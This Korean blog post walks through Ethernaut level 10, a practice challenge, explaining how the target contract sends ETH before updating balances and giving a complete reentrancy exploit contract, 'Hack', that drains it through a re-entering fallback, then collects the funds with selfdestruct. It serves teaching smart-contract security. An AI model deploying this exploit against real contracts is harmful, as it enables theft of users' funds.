[이더넛] 레벨 10 'Re-entrancy' 풀기
[목표]
타겟 컨트랙트 Re-entrancy의
모든 잔고를 인출하기.
타겟 컨트랙트 코드
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
함수 withdraw를 보면
balances[msg.sender]가 인출 량 _amount 보다 이상인 값인지 확인하고
true이면
msg.sender.call.value(_amount)("");
msg.sender에게 _amount만큼 ETH를 보냅니다.
그리고나서 인출량 만큼 balances[msg.sender]를 감소시킵니다.
여기서 3번째 줄
(bool result,) = msg.sender.call.value(_amount)("");
에 허점이 있습니다.
msg.sender가 CA이고,
CA의 컨트랙트 내에 fallback 함수가 있다면
fallback 함수를 강제로 실행하게 됩니다.
fallback 함수에
Re-entrancy컨트랙트의 withdraw를 호출하는
코드를 작성하면
balances[msg.sender]의 잔고가 감소하기 전에
타겟 컨트랙트의 withdraw 함수에 재진입하여
계속적으로 ETH를 인출 할 수 있습니다.
Attack
contract Hack {
address owner;
constructor () public payable {
owner = msg.sender;
}
function attack() public payable {
Reentrance(0x9F8f32c10CEDEc45aa45bc7a6DCF664C405C84F6).donate{value:100000000000000000}(address(this));
Reentrance(0x9F8f32c10CEDEc45aa45bc7a6DCF664C405C84F6).withdraw(0.1 ether);
}
fallback() external payable {
Reentrance(0x9F8f32c10CEDEc45aa45bc7a6DCF664C405C84F6).withdraw(0.1 ether);
}
function ethBalance(address _who) public view returns(uint) {
return _who.balance;
}
function kill () public {
require(msg.sender == owner);
selfdestruct(payable(owner));
}
}
contract Hack의
함수 attack은 타겟 컨트랙트의 donate 함수를
호출하여 0.1 이더를 보냅니다.
그 다음, withdraw 함수를 호출하여 0.1이더를 인출합니다.
// 타겟 컨트랙트
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call.value(_amount)("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
- 프로세스1
withdraw를 호출하면
밸런스는 0.1 ETH, _amount도 0.1 ETH
이므로 if문을 통과하고
(bool result,) = msg.sender.call.value(_amount)("");
가 실행되면
0.1 ETH가 msg.sender인
contract Hack의 CA로 입금되고
// contract Hack
fallback() external payable {
Reentrance(0x9F8f32c10CEDEc45aa45bc7a6DCF664C405C84F6).withdraw(0.1 ether);
}
contract Hack의 fallback 함수가 실행됩니다.
fallback 함수는 타켓 컨트랙트의 withdraw를
다시 호출하여
- 프로세스1 처음으로 돌아가 재진입합니다. 이렇게 계속해서 0.1 ETH씩 인출합니다.
function kill () public {
require(msg.sender == owner);
selfdestruct(payable(owner));
}
함수 kill은
공격 이후 Hack 컨트랙트로
인출된 ETH를 owner(player)에게
송금 시키기 위한 함수입니다.
공격 실행
- 함수 Attack 호출
이 트랙잭션은 함수 호출을
여러번하기 때문에
통상적으로 사용하는 가스로
트랜잭션을 보내면 가스피가 충분하지 않기 때문에 fail 됩니다.
gas fee / gas limit을 넉넉하게 설정해서
트랜잭션을 보냈습니다.
함수 attak 호출 트랜잭션을 보면
위와 같은 과정을 반복했음을 알 수 있습니다.
이 과정은 가스피가 바닥났을때(out of gas)
종료됩니다.
이제 타겟 컨트랙트의 잔고는
텅텅 비어버렸습니다.
컨트랙트 Hack는
1.2에서 2.2 Ether로 증가했습니다.
공격 성공 이후
컨트랙트 Hack의 ETH 잔고를
player로 가져왔습니다.
타겟 컨트랙트에서
컨트랙트 Hack의 잔고를 확인하면
uint balances 값이 공격 과정에서
언더플로우 되어 매우 큰 값으로
변경되었음을 알 수 있습니다.
레벨 10 클리어~!
Reentrancy Attack
이러한 공격 방식을
Reentrancy Attack(재진입 공격)라고 하며
이 방법은 DAO 해킹 사건때 사용되기도 했습니다.
Reentrancy Attack 방지 코드
https://blog.openzeppelin.com/15-lines-of-code-that-could-have-prevented-thedao-hack-782499e00942/
'블록체인' 카테고리의 다른 글
[이더넛] 레벨9 'King' 풀기 (0) | 2021.08.13 |
---|---|
[이더넛] 레벨8 'Vault' 풀기 (0) | 2021.08.12 |
[이더넛] 레벨7 'Force' 풀기 (0) | 2021.08.12 |
[이더넛] 레벨6 'Delegation' 풀기 (0) | 2021.08.12 |
[이더넛] 레벨5 'Token' 풀기 (0) | 2021.08.12 |